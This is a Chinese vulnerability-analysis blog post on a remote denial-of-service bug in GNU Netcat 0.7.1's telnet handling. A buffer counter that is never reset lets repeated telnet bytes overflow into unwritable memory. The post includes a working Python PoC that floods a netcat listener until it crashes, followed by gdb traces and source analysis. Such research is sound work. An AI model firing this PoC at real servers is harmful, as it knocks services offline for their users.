[拜年啦!]NetCat【nc】 0.7.1 远程拒绝服务漏洞
source link: http://www.whereisk0shl.top/post/2019-02-04?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
作者:k0shl 转载请注明出处:https://whereisk0shl.top
前面想说的话
又是一年除夕夜,今年也是我的博客的第四年,看看手里仅剩的五篇存货很感慨,终于要结束漫长的更新了,非常感谢大家这些年对我博客的关注,也要跟大家说声抱歉,博客这些年更新的漏洞分析文章是我15-16年分析的,那时候才刚接触二进制,所以有很多错误的地方,也非常感谢指出我错误的小伙伴,让我在复盘自己过去错误的时候受益良多。今年我的博客将结束过往文章的更新,之后就无法定期更新了,但我会一直维护我的博客,继续不定期更新一些最新的研究成果,希望大家可以继续关注我,共同交流,共同进步!
今天是除夕夜了,在这里祝愿大家阖家幸福,新的一年工作顺利,学业进步,0day多多,赚钱多多!
漏洞说明
NetCat就是我们所说的nc,nc在使用-T参数的时候是负责处理telnet连接,当利用nc构建一个telnet的服务端的时候,如果在客户端发送特殊的数据包,nc会处理telnet数据,根据不同的telnet code进行不同的操作。会导致nc在处理telnet数据的时候,由于处理buffer的时候在处理结束时没有对buffer的长度进行重置,导致连续多次写入telnet数据之后,由于向不可写的内存写入数据,最后引发拒绝服务漏洞,下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/088def25efe04dcdd1f8369d8926ab34-netcat-0.7.1.tar.gzPoC:
#/usr/bin/python #-*- Coding: utf-8 -*- import socket RHOST = "127.0.0.1" RPORT = 12347 print("[+] Connecting to %s:%d") % (RHOST, RPORT) s = socket.create_connection((RHOST, RPORT)) s.send("\xFF") # Telnet control character print("[+] Telnet control character sent") print("[i] Starting") try: i = 0 while True: # Loop until it crashes i += 1 s.send("\x30") except: print("[+] GNU Netcat crashed on iteration: %d") % (i)
漏洞复现
首先利用gdb attach附加进程,之后远程发送Payload,gdb命中崩溃现场。
gdb-peda$ c Continuing. Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x4a0 EBX: 0x8f ECX: 0x90 EDX: 0x30 ('0') ESI: 0xbfec9f80 ('0' <repeats 200 times>...) EDI: 0x400 EBP: 0x8f ESP: 0xbfec9de0 --> 0x1 EIP: 0x804d271 (<netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl) EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d266 <netcat_telnet_parse+54>: test eax,eax 0x804d268 <netcat_telnet_parse+56>: je 0x804d320 <netcat_telnet_parse+240> 0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1] => 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl 0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx 0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1] 0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1 0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx [------------------------------------stack-------------------------------------] 0000| 0xbfec9de0 --> 0x1 0004| 0xbfec9de4 --> 0xb7519a28 --> 0x211f 0008| 0xbfec9de8 --> 0x0 0012| 0xbfec9dec --> 0x8f 0016| 0xbfec9df0 --> 0xbfecaf50 --> 0x0 0020| 0xbfec9df4 --> 0xbfec9f00 --> 0x0 0024| 0xbfec9df8 --> 0xbfec9e80 --> 0x10 0028| 0xbfec9dfc --> 0xb75f3b4d (<___newselect_nocancel+35>: pop ebx) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100 100 getrq[l++] = buf[i];
通过bt命令来回溯一下堆栈调用
gdb-peda$ bt #0 netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100 #1 0x0804b399 in core_readwrite (nc_main=0xbfeca7f0, nc_slave=0xbfecaf50) at core.c:823 #2 0x080497f2 in main (argc=0x4, argv=0xbfecb3c4) at netcat.c:499 #3 0xb752ba63 in __libc_start_main (main=0x80490e0 <main>, argc=0x4, argv=0xbfecb3c4, init=0x804d470 <__libc_csu_init>, fini=0x804d4e0 <__libc_csu_fini>, rtld_fini=0xb76efc90 <_dl_fini>, stack_end=0xbfecb3bc) at libc-start.c:287 #4 0x08049f35 in _start ()
根据当前命中崩溃的位置,来看一下当前的指令,是将edx低地址部分dl交给eax+0x8051b60,eax的值是4a0,这样相加之后的地址是0x8052000,来看一下这个地址的值。
gdb-peda$ x/10x 0x08052000 0x8052000: Cannot access memory at address 0x8052000
是向一个不可写的地址写入,接下来来看一下08051b60这个地址位置。
gdb-peda$ x/10x 0x08051b60 0x8051b60 <getrq.4515>: 0x303030ff 0x000004a0 0x30303030 0x30303030 0x8051b70: 0x30303030 0x30303030 0x30303030 0x30303030 0x8051b80: 0x30303030 0x30303030
这个地址写入的正是发送的Payload的字符串,那么就由所处的这个netcat_telnet_parse函数入手分析这个拒绝服务漏洞的成因。
漏洞分析
找到netcat_telnet_parse函数的入口位置,下一个断点。
.text:0804D230 ; void __cdecl netcat_telnet_parse(nc_sock_t *ncsock) .text:0804D230 public netcat_telnet_parse .text:0804D230 netcat_telnet_parse proc near ; CODE XREF: core_readwrite+664p .text:0804D230 .text:0804D230 from = dword ptr -4Ch .text:0804D230 eat_chars = dword ptr -30h .text:0804D230 putrq = byte ptr -20h .text:0804D230 ncsock = dword ptr 4 .text:0804D230 .text:0804D230 push ebp .text:0804D231 push edi .text:0804D232 xor ebp, ebp .text:0804D234 push esi .text:0804D235 push ebx .text:0804D236 sub esp, 2Ch .text:0804D239 mov eax, [esp+3Ch+ncsock] .text:0804D23D mov edi, [eax+3ACh] .text:0804D243 mov esi, [eax+3A8h]
重新发送Payload,命中断点之后,单步跟踪。首先函数会对一个缓冲区,和要拷贝的字符串长度进行赋值。eax寄存器存放的是长度0x11,edi存放的是buff的缓冲区地址。
gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0xbfb187d0 --> 0x4 EBX: 0xbfb187d0 --> 0x4 ECX: 0xbfb17f60 --> 0x303030ff EDX: 0x400 ESI: 0xbfb17f60 --> 0x303030ff EDI: 0x11 EBP: 0x0 ESP: 0xbfb17dc0 --> 0x1 EIP: 0x804d23d (<netcat_telnet_parse+13>: mov edi,DWORD PTR [eax+0x3ac]) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d235 <netcat_telnet_parse+5>: push ebx 0x804d236 <netcat_telnet_parse+6>: sub esp,0x2c 0x804d239 <netcat_telnet_parse+9>: mov eax,DWORD PTR [esp+0x40] => 0x804d23d <netcat_telnet_parse+13>: mov edi,DWORD PTR [eax+0x3ac] 0x804d243 <netcat_telnet_parse+19>: mov esi,DWORD PTR [eax+0x3a8] 0x804d249 <netcat_telnet_parse+25>: test edi,edi 0x804d24b <netcat_telnet_parse+27>: jle 0x804d32b <netcat_telnet_parse+251> 0x804d251 <netcat_telnet_parse+33>: xor ebx,ebx [------------------------------------stack-------------------------------------] 0000| 0xbfb17dc0 --> 0x1 0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 0008| 0xbfb17dc8 --> 0x0 0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>: jmp 0xb77b2930 <_dl_init+80>) 0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 0028| 0xbfb17ddc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 79 int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size; gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0xbfb187d0 --> 0x4 EBX: 0xbfb187d0 --> 0x4 ECX: 0xbfb17f60 --> 0x303030ff EDX: 0x400 ESI: 0xbfb17f60 --> 0x303030ff EDI: 0x11 EBP: 0x0 ESP: 0xbfb17dc0 --> 0x1 EIP: 0x804d243 (<netcat_telnet_parse+19>: mov esi,DWORD PTR [eax+0x3a8]) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d236 <netcat_telnet_parse+6>: sub esp,0x2c 0x804d239 <netcat_telnet_parse+9>: mov eax,DWORD PTR [esp+0x40] 0x804d23d <netcat_telnet_parse+13>: mov edi,DWORD PTR [eax+0x3ac] => 0x804d243 <netcat_telnet_parse+19>: mov esi,DWORD PTR [eax+0x3a8] 0x804d249 <netcat_telnet_parse+25>: test edi,edi 0x804d24b <netcat_telnet_parse+27>: jle 0x804d32b <netcat_telnet_parse+251> 0x804d251 <netcat_telnet_parse+33>: xor ebx,ebx 0x804d253 <netcat_telnet_parse+35>: nop [------------------------------------stack-------------------------------------] 0000| 0xbfb17dc0 --> 0x1 0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 0008| 0xbfb17dc8 --> 0x0 0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>: jmp 0xb77b2930 <_dl_init+80>) 0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 0028| 0xbfb17ddc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 78 unsigned char putrq[4], *buf = ncsock->recvq.pos; gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0xbfb187d0 --> 0x4 EBX: 0xbfb187d0 --> 0x4 ECX: 0xbfb17f60 --> 0x303030ff EDX: 0x400 ESI: 0xbfb17f60 --> 0x303030ff EDI: 0x11
赋值之后,来看一下相应buff里面存放的内容。这时候已经接收到了第一批字符串。
gdb-peda$ x/10x 0xbfb17f60 0xbfb17f60: 0x303030ff 0x30303030 0x30303030 0x30303030 0xbfb17f70: 0x08048330 0x00000001 0x00000038 0xb76453ae 0xbfb17f80: 0xbfb17fd0 0xb77c4000
接下来,程序会进入一处循环操作,根据之前eax,也就是buff的大小,对另一个缓冲区进行赋值。来看一下第一轮循环结束时的情况。
gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x1 EDX: 0xff ESI: 0xbfb17f60 --> 0x303030ff EDI: 0x11 EBP: 0x0 ESP: 0xbfb17dc0 --> 0x1 EIP: 0x804d277 (<netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d268 <netcat_telnet_parse+56>: je 0x804d320 <netcat_telnet_parse+240> 0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1] 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl => 0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx 0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1] 0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1 0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx 0x804d287 <netcat_telnet_parse+87>: je 0x804d380 <netcat_telnet_parse+336> [------------------------------------stack-------------------------------------] 0000| 0xbfb17dc0 --> 0x1 0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 0008| 0xbfb17dc8 --> 0x0 0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>: jmp 0xb77b2930 <_dl_init+80>) 0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 0028| 0xbfb17ddc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 96 eat_chars++; gdb-peda$ x/10x 0x8051b60 0x8051b60 <getrq.4515>: 0x000000ff 0x00000000 0x00000000 0x00000000 0x8051b70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8051b80: 0x00000000 0x00000000 gdb-peda$ b *0x0804d271 Breakpoint 2 at 0x804d271: file telnet.c, line 100. gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x1 ECX: 0x2 EDX: 0x30 ('0') ESI: 0xbfb17f60 --> 0x303030ff EDI: 0x11 EBP: 0x1 ESP: 0xbfb17dc0 --> 0x1 EIP: 0x804d271 (<netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d266 <netcat_telnet_parse+54>: test eax,eax 0x804d268 <netcat_telnet_parse+56>: je 0x804d320 <netcat_telnet_parse+240> 0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1] => 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl 0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx 0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1] 0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1 0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx [------------------------------------stack-------------------------------------] 0000| 0xbfb17dc0 --> 0x1 0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 0008| 0xbfb17dc8 --> 0x0 0012| 0xbfb17dcc --> 0x1 0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 0028| 0xbfb17ddc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100 100 getrq[l++] = buf[i]; gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x1 ECX: 0x2 EDX: 0x30 ('0') ESI: 0xbfb17f60 --> 0x303030ff EDI: 0x11 EBP: 0x1 ESP: 0xbfb17dc0 --> 0x1 EIP: 0x804d277 (<netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d268 <netcat_telnet_parse+56>: je 0x804d320 <netcat_telnet_parse+240> 0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1] 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl => 0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx 0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1] 0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1 0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx 0x804d287 <netcat_telnet_parse+87>: je 0x804d380 <netcat_telnet_parse+336> [------------------------------------stack-------------------------------------] 0000| 0xbfb17dc0 --> 0x1 0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 0008| 0xbfb17dc8 --> 0x0 0012| 0xbfb17dcc --> 0x1 0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 0028| 0xbfb17ddc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 96 eat_chars++; gdb-peda$ x/10x 0x8051b60 0x8051b60 <getrq.4515>: 0x000030ff 0x00000001 0x00000000 0x00000000 0x8051b70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8051b80: 0x00000000 0x00000000
此时l的值是一直增加的,这个l的值取决于伪代码中一个名为l_4516的全局变量,这个过程每次赋值结束,全局变量都会增加,这个全局变量最后保存在getrq指针里,这个指针就是0x8051b60。
gdb-peda$ x/10x 0x8051b60 0x8051b60 <getrq.4515>: 0x000030ff 0x00000001 0x00000000 0x00000000 0x8051b70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8051b80: 0x00000000 0x00000000
此时指针偏移+4位置存放全局变量的值,此时值为0x1,是第一次读取的长度,接下来会连续对此进行读取,然而这个过程,没有对全局变量的值进行重置,第二轮接收到telnet数据包后,会同样进入netcat_telnet_parse函数进行处理。
gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0x400 EBX: 0xbfb187d0 --> 0x4 ECX: 0xbfb17f60 ('0' <repeats 200 times>...) EDX: 0x400 ESI: 0xbfb17f60 ('0' <repeats 200 times>...) EDI: 0x400 EBP: 0xbfb18f30 --> 0x0 ESP: 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>: mov edi,DWORD PTR [ebx+0x3ac]) EIP: 0x804d230 (<netcat_telnet_parse>: push ebp) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d22a: xchg ax,ax 0x804d22c: xchg ax,ax 0x804d22e: xchg ax,ax => 0x804d230 <netcat_telnet_parse>: push ebp 0x804d231 <netcat_telnet_parse+1>: push edi 0x804d232 <netcat_telnet_parse+2>: xor ebp,ebp 0x804d234 <netcat_telnet_parse+4>: push esi 0x804d235 <netcat_telnet_parse+5>: push ebx [------------------------------------stack-------------------------------------] 0000| 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>: mov edi,DWORD PTR [ebx+0x3ac]) 0004| 0xbfb17e00 --> 0xbfb187d0 --> 0x4 0008| 0xbfb17e04 --> 0xbfb17f60 ('0' <repeats 200 times>...) 0012| 0xbfb17e08 --> 0x400 0016| 0xbfb17e0c --> 0xb77b69ae (<dl_open_worker+766>: sub esp,0x4) 0020| 0xbfb17e10 --> 0xbfb193b8 --> 0xbfb1a668 ("XDG_VTNR=7") 0024| 0xbfb17e14 --> 0x142db20 0028| 0xbfb17e18 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:75 75 {
这样再次命中断点的时候,再来看看getrq的指针结构。
gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0x11 EBX: 0x0 ECX: 0x1 EDX: 0x30 ('0') ESI: 0xbfb17f60 ('0' <repeats 200 times>...) EDI: 0x400 EBP: 0x0 ESP: 0xbfb17dc0 --> 0x1 EIP: 0x804d271 (<netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804d266 <netcat_telnet_parse+54>: test eax,eax 0x804d268 <netcat_telnet_parse+56>: je 0x804d320 <netcat_telnet_parse+240> 0x804d26e <netcat_telnet_parse+62>: lea ecx,[ebp+0x1] => 0x804d271 <netcat_telnet_parse+65>: mov BYTE PTR [eax+0x8051b60],dl 0x804d277 <netcat_telnet_parse+71>: mov DWORD PTR [esp+0xc],ecx 0x804d27b <netcat_telnet_parse+75>: lea ecx,[eax+0x1] 0x804d27e <netcat_telnet_parse+78>: cmp ecx,0x1 0x804d281 <netcat_telnet_parse+81>: mov DWORD PTR ds:0x8051b64,ecx [------------------------------------stack-------------------------------------] 0000| 0xbfb17dc0 --> 0x1 0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 0008| 0xbfb17dc8 --> 0x0 0012| 0xbfb17dcc --> 0x11 0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 0020| 0xbfb17dd4 --> 0xbfb17ee0 --> 0x0 0024| 0xbfb17dd8 --> 0xbfb17e60 --> 0x10 0028| 0xbfb17ddc --> 0xb76b6b4d (<___newselect_nocancel+35>: pop ebx) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100 100 getrq[l++] = buf[i]; gdb-peda$ x/10x 0x08051b60 0x8051b60 <getrq.4515>: 0x303030ff 0x00000011 0x30303030 0x30303030 0x8051b70: 0x00000030 0x00000000 0x00000000 0x00000000 0x8051b80: 0x00000000 0x00000000
getrq偏移加4位置存放的长度变量,是从上一次赋值结束的长度变量开始的,也就是说这个过程没有重置这个全局变量,最后如果循环接收,到达一定长度后会向不可写的地址写入数据,导致拒绝服务漏洞的发生。
来看一下源码部分。
void netcat_telnet_parse(nc_sock_t *ncsock) { static unsigned char getrq[4]; static int l = 0; unsigned char putrq[4], *buf = ncsock->recvq.pos; int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size; for (i = 0; i < ref_size; i++) { /* if we found IAC char OR we are fetching a IAC code string process it */ if ((buf[i] != TELNET_IAC) && (l == 0)) continue; #ifndef USE_OLD_TELNET /* this is surely a char that will be eaten */ eat_chars++; #endif /* copy the char in the IAC-code-building buffer */ getrq[l++] = buf[i];
buf,size变量指针都取决于ncsock结构体,而后面赋值时会将buf赋值给getrq,而l就是全局变量,这个函数后续会进行switch case语句来处理telnet code,如果有的话。
{ case 13: case 14: ++v1; if ( v7 <= 2 ) break; putrq[0] = -1; putrq[1] = -4; goto LABEL_9; case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: case 9: case 10: goto LABEL_10; case 11: case 12: ++v1; if ( v7 <= 2 ) break; putrq[0] = -1; putrq[1] = -2; LABEL_9: putrq[2] = getrq_4515[2]; write(ncsock->fd, putrq, 3u); LABEL_10: l_4516 = 0; goto LABEL_11; case 15: l_4516 = 0; v3[v4 - v1] = -1; if ( v1 ) { eat_chars = v1; LABEL_11: v8 = v4 + 1; v9 = v2 - v8; v2 -= eat_chars; memmove(&v3[v8 - eat_chars], &v3[v8], v9); v1 = 0; v4 = ~eat_chars + v8; } break; default: goto LABEL_18;
结束处理的时候,没有对全局变量重置,最后导致了拒绝服务的发生。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK